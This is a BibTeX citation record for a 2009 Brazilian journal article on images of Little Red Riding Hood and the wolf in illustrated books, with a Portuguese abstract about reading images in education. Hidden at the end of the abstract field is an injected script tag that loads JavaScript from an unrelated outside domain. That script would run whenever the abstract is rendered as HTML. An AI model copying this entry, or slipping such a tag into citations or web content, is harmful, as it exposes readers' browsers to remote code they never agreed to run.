@article{Scareli_Andrade_2009, place={Campinas, SP}, title={Lobos-maus e chapeuzinhos-vermelhos em ilustrações para ver e ler}, volume={9}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/1044}, DOI={10.20396/etd.v9i0.1044}, abstractNote={<p align="justify">Propomos olhares em movimento pelos interiores de algumas imagens em busca de reconhecer elementos de sua própria linguagem a fim de estabelecermos um diálogo com estas imagens e suas/nossas potencialidades, encantamentos, sentidos. Ver Lobos e Chapeuzinhos como fragmentos ressonantes em narrativas que se multiplicam em diferentes cenários e “contextualizações”. Nossa aposta está em não mais obedecer à necessidade representacional do questionamento “o que isso quer dizer?”, “qual o significado daquilo?”, mas possibilitar escorregões e deslizes pelas potências da contemplação e produção de sentidos na própria imagem. Ler imagens que se soltam do texto. Ler textos que se permitem desvincular das imagens; (im)possibilidades em buscar outras apresentações da menina e do animal com a intenção de tencionar os limites do que frequentemente se nomeia imagem, texto, produção cultural, e potencializar as multiplicidades na ausência do equivalente que representariam e interpretariam. Mas e quanto ao papel do professor perante a educação advinda das imagens: seríamos nós os “faxineiros/as” das “misturas”, das “diferenças” com que nos deparamos no campo educacional, na tentativa de deixar tudo mais uniforme? Se assim o for, talvez estejamos pasteurizando interpretações e análises – pasteurização que não ocorre somente na indústria, mas também com as linguagens e conteúdos. </p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, journal={ETD - Educação Temática Digital}, author={Scareli, Giovana and Andrade, Elenise Cristina Pires de}, year={2009}, month={jan.}, pages={51–64} }